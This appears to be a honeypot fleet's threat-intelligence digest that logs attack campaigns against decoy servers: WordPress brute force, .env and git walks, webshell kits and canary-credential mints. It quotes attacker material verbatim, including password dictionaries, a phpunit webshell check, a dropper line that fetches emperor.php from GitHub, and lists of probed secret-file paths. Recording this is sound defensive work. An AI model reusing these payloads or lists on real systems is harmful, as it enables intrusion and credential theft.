WP-FORM-BRUTE active
№47 TENTH window — NEW CLASS 75df0dbb0841: 12 residential IPs × exactly 3 credential POSTs each (36 total, log=admin, tiny dict: Admin, admin@123, Admin@123, pass, demo, droidx1!, Bot@123456, sso@123, admin1!), FIRST vhost-aware redirect_to (sso.rightabouteverything.show on farm, inference.fapthropic.com on aidev); prior classes out. №46 NINTH window — CONTRACTED to background: 78 credential POSTs (farm 40, aidev 38) from the standing wp-login cluster (sig 9ff5e462ca0e: 22 IPs / 154 probe+credential events); the CANADA 217.60.x class absent, no year-theme bodies captured. №45 EIGHTH window — MAJOR ESCALATION: 886 wp-login-credential POSTs (farm 459 + control 427, 8.2×/inf ratios) from ~25 IPs. NEW OPERATOR CLASS: 12651980 CANADA INC. (AE) block 217.60.196.x + 217.60.198.x ran a synchronized distributed wave on farm+control (≥19 IPs, 18–44 POSTs each, 10:48–22:17 EDT) with a YEAR-THEMED dictionary — log=admin|webmaster vs pwd=Admin#2026, Webmaster!2024, P@ssw0rd@2026 (bodies verbatim, _wpnonce + testcookie anatomy kept). NEW xmlrpc method wp.getAuthors (2 POSTs). Second class: 3-IP synchronized tarpit+brute (160.251.210.23 GMO JP, 107.190.185.67 Silver Star US, 51.210.150.97 OVH FR, 09:04 farm + 09:18 control, 14 min apart, 16-min POST cadence) + singles 43.162.96.166, 159.223.213.68, 162.243.247.186, 185.216.203.177. FIRST control-1 wp-login activity at scale; enum rest-single 20 ev (.14). №44 SEVENTH window — CONTRACTED: 80 credential POSTs / 13 IPs + 9 xmlrpc / 6 IPs (ed66 leg only); enum absent a THIRD window. №43 SIXTH window: enum stage absent a SECOND window (0 wp-user-enum-rest); 92 credential POSTs from 42 IPs + 123 probes / 41 IPs + 32 xmlrpc / 24 IPs; ed66 leg 21 IPs / 84 ev — the only registered signature in today's cluster table. ⟳ 5th window №42: roster grew to 46 runner IPs across the wp-login/xmlrpc/enum surfaces, but the wp-json ENUMERATION STAGE VANISHED (0 wp-user-enum-rest vs ~840 in №41) — a credential-only wave: df15d0ee3ccf 6 IPs/370 POSTs (3 sensors) + ed66cc967251 21 IPs/84 + NEW sig 2bdde2df2cf6 (4 IPs, aidev). NEW one-POST generation (Chrome/152 class) derives passwords from the target vhost: pwd=inference (fapthropic), pwd=sso (rightabouteverything), amen123. №41: ~25 runners, 840 enum + ~540 credential POSTs.
flowchart LR
Q["Rotating roster<br/>~25 runners · 7 of 8 nodes"] --> E["wp-json users list<br/>+ single-ID enum"]
E --> G["GET /wp-login.php probe<br/>harvest nonce + testcookie"]
G --> P["POST log=admin|webmaster|editor<br/>one password per body"]
P --> R["redirect_to = fleet vhost<br/>numeric + dictionary modes"]
ZKILLU-GITWALK idle
№40: NO SECOND WINDOW — 169.40.142.2 absent, no second IP or node, and no AWS use of its 2 canaries. One window so far. №39 ⚠ NEW: single-IP git-internals mass walk — 169.40.142.2 (Zkillu SAS FR) ran 14,787 events / 10,150 paths / 44 families on canary-farm-1 in 10 minutes (12:46–12:56 UTC+4), the fleet-record single-IP event. Shape: HEAD / + robots/sitemap tarpit probes, a config census (/config/app.php, /html/.env, /.circleci/config.yml, /credentials.json, /secrets.json, /.aws/credentials, /.env — 2 mints), then the fake-git mass: 11,281 fake-git-miss + 2,333 fake-git + 760 fake-git-redirect, with HTML-fragment garbage paths (/.git/logs/refs/<h1>Index, /<pre>, /<hr>) that indicate the tool scrapes link targets out of served HTML. Bare stripped-Chrome UA (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, no platform token). Drove canary-farm-1 +262% and the fake-git-miss 3,760× spike.
flowchart LR
T["HEAD / · robots.txt · sitemap.xml<br/>tarpit probes"] --> C["Config census<br/>.env · CI configs · secrets"]
C --> MINT["/.env — 2 mints"]
C --> W["Git-internals mass walk<br/>14.4k fake-git events"]
W --> GARBAGE["HTML-fragment paths<br/>/.git/logs/refs/<h1>Index"]
SS-NET TOOLING active
№44: .211 minted 2 (Chrome/5.0.358 forgery) and used 1 credential (4 ops: GetCallerIdentity ✓ + ListFoundationModels ×2); .92.65 minted control-1 (Chrome/75 Android forgery). ⟳ standing .env-variant walker, sig 6a6fdaca6a1f / SS-Net RO. №42: collector .92.65 minted 7 across aidev/control/farm under rotating mobile+desktop forgeries (17/6d); primary .211 ABSENT — first miss in five windows. №41: .211 minted 2 and used 1 credential (5th use window).
№40: no second window (0 events). №39 ⚠ NEW: Sonicwall SSL-VPN login probe, signature a2176d32b35f (first seen 10-02) — 4 IPs, one per sensor (ai-devbox-1, canary-farm-1, frantech-ts, sponge-01-ts), 52 events: /auth.html [sonicwall-portal 200] → /auth1.html → /sslvpnLogin.html → companion webshells. Lineage: №14's 45.79.218.38 ran the same 15-ev shape solo on a Linode IP. 0 mints; promote on a run with credential POSTs.
flowchart LR
A["/auth.html<br/>sonicwall-portal 200"] --> B["/auth1.html"]
B --> C["/sslvpnLogin.html"]
C --- Z["0 mints · 4 IPs · 4 sensors"]
TOKEN-CRAWLER recurring
⟳ /24 45.198.224.x. №42: FULL TEMPLATE RETURN — 9 fresh /c/<100-char token> paths on frantech-ts (first-seen) + .env directory variants on netcup (/queue/.env, /tokens/.env, /mail/.env); 0 mints. .124/.125 ran bare tarpit-module passes on 7-8 nodes. №39: scout shape; №38: 3 synchronized frantech waves.
flowchart LR
T["45.198.224.x /24<br/>forged Chrome/114"] --> C["/c/<100-char token> walk<br/>+ .env directory variants"]
C --> Z["0 mints · census only<br/>3 synchronized waves"]
BUCKLOG-KIT recurring
№49: .64 minted 2 on control (23:36 EDT, Firefox/5.0 forgery) and 1 credential reached AWS — the /24's SECOND mint+use after №44's .205 SES run, and this time from 4 egress IPs (see CREDENTIAL-DRAIN). .38/.75/.9/.100/.205 absent. №47 WIDEST window — NEW operator .100 ran control's largest census (1,433 table-ev / 1,637 raw / 1,008 paths / 102 fams in 20 min, curl/8.7.1) incl. control's 10 first-seen SaaS/backup paths (xai_config.yml, mailgun, brevo, sparkpost, mongodump.zip, docker-compose.yml.tar.gz, sentry, rabbitmq, prometheus/rules, internal/configprops); .38 fourth consecutive window; .205 moved to lauterbourg (244 raw ev) + 1 control mint. №46 FIFTH window — census arm STAYED on control-1: 185.177.72.38 ran 244 ev / 76 paths / 19 families 05:25–05:30 UTC (curl/8.7.1, ipsum:4+firehol2); its 1 /.env mint attempt 400-failed (Tracebit rejection, the census arm's first); .75/.64/.9/.205 absent. №45 FOURTH window — census arm moved to control-1: .75 ran 564 ev / 277 paths / 33 trap families / 1 POST 08:41–08:45 EDT (33 fams is the window's deepest single-IP family spread), .64 censused netcup (256 ev / 253 paths), .9 and .205 absent; 0 mints this window (.205's №44 mint+SES-use so far one-off). №44: census arm THIRD window, wider — .75 netcup 1,096 ev / 485 paths / 4 POSTs 18:52–18:59 EDT + .9 frantech 188 ev + .205 farm 188 ev; NEW: .205 minted 1 (curl/8.7.1) and used 2 canaries against SES (GetCallerIdentity ✓ + GetSMSAttributes/GetSendQuota denied) — first Bucklog mint, first SES link. Bucklog SARL FR /24. №42: THIRD consecutive census window — 185.177.72.75 hit netcup (460 ev / 247 paths, 02:24–02:28 UTC) AND frantech-ts (115 ev / 59 paths, 00:44–00:49), 12 webshell-probe results on netcup; 0 mints. №41: control-1 1,022 ev. Original kit (phpunit verify + reverse shell) dormant since day 7; promote on any phpunit/RCE POST.
flowchart LR
C["185.177.72.75<br/>410-path census · 35 families"] --> E[".env-variants · wp-config ·<br/>database.yml walk"]
E --> P["5 POSTs to / —<br/>tarpit-eaten, no bodies"]
P --- Z["0 mints · 2 windows<br/>netcup №40 → control №41"]
KITEWORKS-CRAWL active
№49: THIRD window — 45.138.12.25 (Tc Datacenter LT, the same block as №43's .27) ran the full crawl on lauterbourg (143 ev, 10:14 EDT): kiteworks-root-redirect → /login [kiteworks-shell] → 23 kiteworks-asset bundles → webshell sweep + probe + 101-path not-handled census. Three windows, three operator classes (Google BE ×2, AWS 16.216.88.x, Tc Datacenter LT ×2). №47: IDLE — both dedicated classes absent; the 428-ev kiteworks vhost on lauterbourg carried REGISTRY-HUNT's new deeper-Jira signature b3c6048a4870 (8 runner IPs × ~40 ev: 167.172.232.142/.158.128, 167.99.182.39, 207.154.197.113, 206.81.24.227, 146.190.63.48, 157.230.19.140, 128.199.182.152) — the decoy now fingerprints the LeakIX variant at zero cost. №46: THE GOOGLE BE CLASS RETURNED with fresh IPs — 35.241.178.74 (119 ev, 14:35 UTC) + 34.156.206.32 (143 ev, 20:47 UTC, incl. kiteworks-asset bundles) ran the crawl on lauterbourg; vhost volume 554 (up from 506). The №45 AWS 16.216.88.x class absent. №45: TEMPLATE RETURN UNDER A NEW OPERATOR CLASS — a synchronized 4-IP AWS cluster (16.216.88.25/.51/.102/.126) ran the full crawl shape on lauterbourg 05:23–05:24 EDT: kiteworks-root-redirect → kiteworks-shell → 3–4 kiteworks-asset bundles each + tarpit passes (~30–41 ev per IP); the Google BE pair stayed out a SECOND window. Vhost volume 506 total (incl. generic censuses 143.244.57.86 98 not-handled, 31.56.58.43 50, and the l9scan wave). №44: FIRST ABSENCE — no kiteworks-shell passes; vhost volume 1,106 under generic env censuses only. №43 SECOND window — recurring: repeat Google BE IP 35.205.254.119 (119 ev, 04:33 EDT) + NEW operator 45.138.12.27 (Tc Datacenter LT — the l9explore block; 141 ev, 09:35 EDT) with the same shape: root-redirect → /login → 23 kiteworks-asset bundles → webshell sweep+probe + a 103-path not-handled census; bare-Chrome + Chrome/128 UAs; 34.52.229.253 absent; 0 mints. ⚠ №42: FIRST third-party traffic on lauterbourg-01-ts's Kiteworks decoy — 2 Google LLC BE IPs (34.52.229.253, 35.205.254.119) ran ~1-min passes (144/119 ev): kiteworks-root-redirect → /login [kiteworks-shell] → 23 kiteworks-asset JS bundles → webshell-sweep + webshell-probe + not-handled census. UAs: bare stripped Chrome (no platform token — the ZKILLU class) + Chrome/128. 0 mints. Watch for a second node or a return with credential paths.
flowchart LR
K["Google BE IPs ×2<br/>bare Chrome + Chrome/128"] --> R["kiteworks-root-redirect"]
R --> L["/login<br/>kiteworks-shell"]
L --> A["23 kiteworks-asset<br/>JS bundles"]
A --> W["webshell probes +<br/>census · 0 mints"]
CONFIGBUNDLE-SWARM recurring
⟳ 45.154.138.x /24 on control-1, PROMOTED №43 on a second mint window (9 mints vs №42's 3): .72/.51 Chrome/106 + .88 Chrome/39 config-bundle censuses, then a 61-s python-requests burst minting 1 each from 6 more IPs (.70/.78/.84/.95/.164/.165) at 11:30–11:31 EDT. Sibling shape: 45.79.200.28 (Akamai/Linode) ran the same 20-path webapp-config-bundle-js census on control + ru-edge and minted 1 each — same kit, second block. Promote the Linode IP on a third window.
№45 THIRD window: quote-garbage variants PERSISTED (a157d6c255ee /.envrc"] 7 IPs control+ru-edge 49 ev; c7411f59a56f /var/.env"] 7 IPs control+frantech+netcup 49 ev) and e4cbfe2556fa /var/.env ran ru-edge-only again (8 IPs, 53 ev); d045b89fe96b absent; 0 mints — tarpit absorbs all four sigs. №44 SECOND window: registered sigs ran ru-edge-only (d045b89f 6 IPs / e4cbfe25 6 IPs, 42 ev each); NEW quote-garbage variant sigs c7411f59a56f /var/.env"] (10 IPs, control+frantech+netcup) + a157d6c255ee /.envrc"] (9 IPs, +ru-edge) — ~19 residential IPs, 9–17 ev each, first seen 10-07; 0 mints. ⚠ NEW №43: distributed mobile-UA walker against tarpit-served env paths — sig d045b89fe96b /.envrc (14 IPs, 6 nodes) + e4cbfe2556fa /var/.env (7 IPs, 5 nodes), first seen 10-06, fleet-wide, ~9–13 events per IP. Rotating modern mobile forgeries (Chrome/153–156 Android/iOS, Firefox/152–156 mobile). 0 mints — the tarpit eats every walk; residential egress class like WP-LOGIN-BRUTE's pool.
flowchart LR
P["Residential mobile IPs<br/>Chrome/153-156 · FF/152-156"] --> E["/.envrc + /var/.env<br/>tarpit-module walks"]
E --> Z["0 mints · fleet-wide<br/>sigs d045b89f / e4cbfe25"]
KEYHUNT idle
№46: FIRST ABSENCE — 168.119.64.101 out, no second IP or node; its 8 canaries remain unused (check pull-window before calling them dead). ⚠ NEW №45: self-labeled UA `Mozilla/5.0 (keyhunt)` + honest `git/2.34.1` for git stages — 168.119.64.101 (Hetzner DE) ran 4 passes on ai-devbox-1 06:18–13:22 EDT (428 ev / 83 paths / 21 families): config.yaml/yml, values.yaml, secrets.yaml, conf/*, docker-compose, litellm-admin-unauthenticated, actuator-env, firebase-json, aws-credentials-file, netrc, fake-git, llm-endpoint-models-list, tarpit rides. 8 mints at /.env (8/6d, all this window, 0 AWS use). Owns aidev's app-config-yaml 14.8× and config-json 3.1× spikes and 468 of the fapthropic-vhost 737 events. Single IP, single node — watch for a second IP/node.
flowchart LR
K["168.119.64.101 Hetzner<br/>UA Mozilla/5.0 (keyhunt)"] --> C["config.yaml · values.yaml ·<br/>secrets.yaml · litellm · actuator"]
C --> G["fake-git walk<br/>git/2.34.1 honest"]
G --> MINT["8× /.env mints<br/>ai-devbox-1 · 0 AWS use"]
LLM-ENDPOINT-PROBE idle
№44: NO SECOND WINDOW — 104.168.115.214 absent, 0 llm-endpoint events; single window on record. ⚠ NEW №43: 104.168.115.214, honest UA AutoGenX-Engine/9.1 — 48 POSTs against lauterbourg's LLM decoys over 18 h: /api/tags → 10× /api/chat (Ollama) 09:06–10:22 EDT, then 4× /v1/models + 33× /v1/chat/completions 13:17–03:01. All 200; request bodies not captured. This IP owns the llm-endpoint-openai-chat 16.5× spike.
flowchart LR
T["/api/tags<br/>ollama-tags 200"] --> C["10× /api/chat<br/>ollama-chat"]
C --> M["4× /v1/models + 33×<br/>/v1/chat/completions"]
M --- Z["AutoGenX-Engine/9.1<br/>1 IP · 18 h · all 200"]
MEVSPACE-GITWALK idle
№45: first miss after the №44 return — no fake-git walk cluster in the digest cluster table (gen-3 Hetzner IPv6 2a01:4f9:c015:3f79::1 absent). №44: THIRD-GENERATION Hetzner IPv6 operator — 2a01:4f9:c015:3f79::1 (new /16; prior: 2a01:4f8:141:225b::2 №10, 2a01:4f8:161:34c1::2 №16) walked canary-farm-1: 144 ev, 143 fake-git + 1 gitignore, env-named refs families (refs/wip/wtree/, refs/wip/index/, logs/refs/{heads,tags}/, packed-refs, FETCH_HEAD). 0 mints. Prior: №43 first miss after three 3xK-Tech windows; №39 fleet-record single-IP 14,787-ev walk by 169.40.142.2 (Zkillu).
flowchart LR
H["Hetzner IPv6 (gen 3)<br/>2a01:4f9:c015:3f79::1"] --> W["/.git internals walk<br/>env-named refs · fake-git 143"]
W --- Z["0 mints · canary-farm-1<br/>one window on record"]
SI-CENSUS idle
№46: SECOND consecutive idle window (0 events); the 27 held ru-edge credentials remain unused. №45: CONTRACTED to 4 events (.87 only, 3 sensors) — no census, no mints; the block's 27 held ru-edge credentials (№44) remain hostile-held inventory with zero observed AWS use. ⚠ NEW №44 — PROMOTED on the second window: 102.220.161.x (VPS Dedicated LLC SI). .102 ran ru-edge's largest census of the window (2,797 ev / 55 fams / 1,503 paths, 10:39–11:47 EDT) with Host: 127.0.0.1 spoofed on 2,793 requests (the №13 origin-spoof family) and minted a fleet-record 27 canaries in 17 minutes under a Chrome/126 forgery. .87 censused netcup (722 ev, /.hgignore + Zend config set) and ai-devbox-1 (599 ev, 2 mints) under 5 rotating UAs. Lineage: .102's 144-path fake-git walk on aidev in №43; .139 collected №35–№36. Watch: 27 held credentials; third window.
flowchart LR
S["102.220.161.102<br/>Host: 127.0.0.1 spoof ×2,793"] --> W["1,503-path census<br/>55 families · ru-edge-1"]
W --> MINT["27 mints in 17 min<br/>fleet single-IP record"]
B["102.220.161.87"] --> C["netcup + aidev censuses<br/>2 mints"]
EMPERORS-KIT new
⚠ NEW №46: self-labeled webshell EmperorsTools — 150.241.66.127 (Kyonix Networks US) ran the kit on THREE sensors in one 3-h span (farm 15:48–18:31 UTC, control 16:48–19:00, aidev 17:00–18:54; 244 ev / 38 paths total): tarpit cycling → phpMyAdmin login POSTs (phpmyadmin-login ×107 across the 3 nodes) → /admin/adminer.php POSTs auth[username]=prod_rw + a fresh 22-char password per POST (the INFOCREST password shape; 4 captured verbatim) → phpunit verify <?php echo "EmperorsTools";?> → dropper POST copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php','emperorstools.php') → config census (env-production, whm-login, app-config-php, fake-git, symfony-profiler). 6 mints (2 per sensor; 7/6d). Owns the control-1 phpmyadmin-login 8.9× spike. Watch for AWS use and a second operator.
flowchart LR
T["Tarpit cycling"] --> PMA["phpMyAdmin POSTs ×107<br/>3 sensors"]
PMA --> ADM["adminer prod_rw +<br/>22-char pw per POST"]
ADM --> V["phpunit verify<br/>EmperorsTools echo"]
V --> D["dropper: president32/uploader2<br/>emperor.php → emperorstools.php"]
D --> MINT["6 mints · 2 per sensor<br/>0 AWS use at close"]
Mint → use sankey — sensor → minted → used-in-AWS / unused (all-time)
Network-layer recon — inbound sweeps on the fleet's public IPs (Arkime); not visible to the HTTP traps
Arkime window 2026-10-11 07:32:00 → 2026-10-12 07:32:54 UTC · 117,771 inbound sessions on 8 fleet public IPs. Identity is the client tool (fingerprint), never the source IP — sweep operators rotate addresses and keep the tool. Last column = source IPs per day.
fingerprint
campaign
sessions
src IPs
networks
countries
ports
src IPs/day
f555226df196…
LIBSSH-MASSSWEEP dispersed sweep (one port, many networks)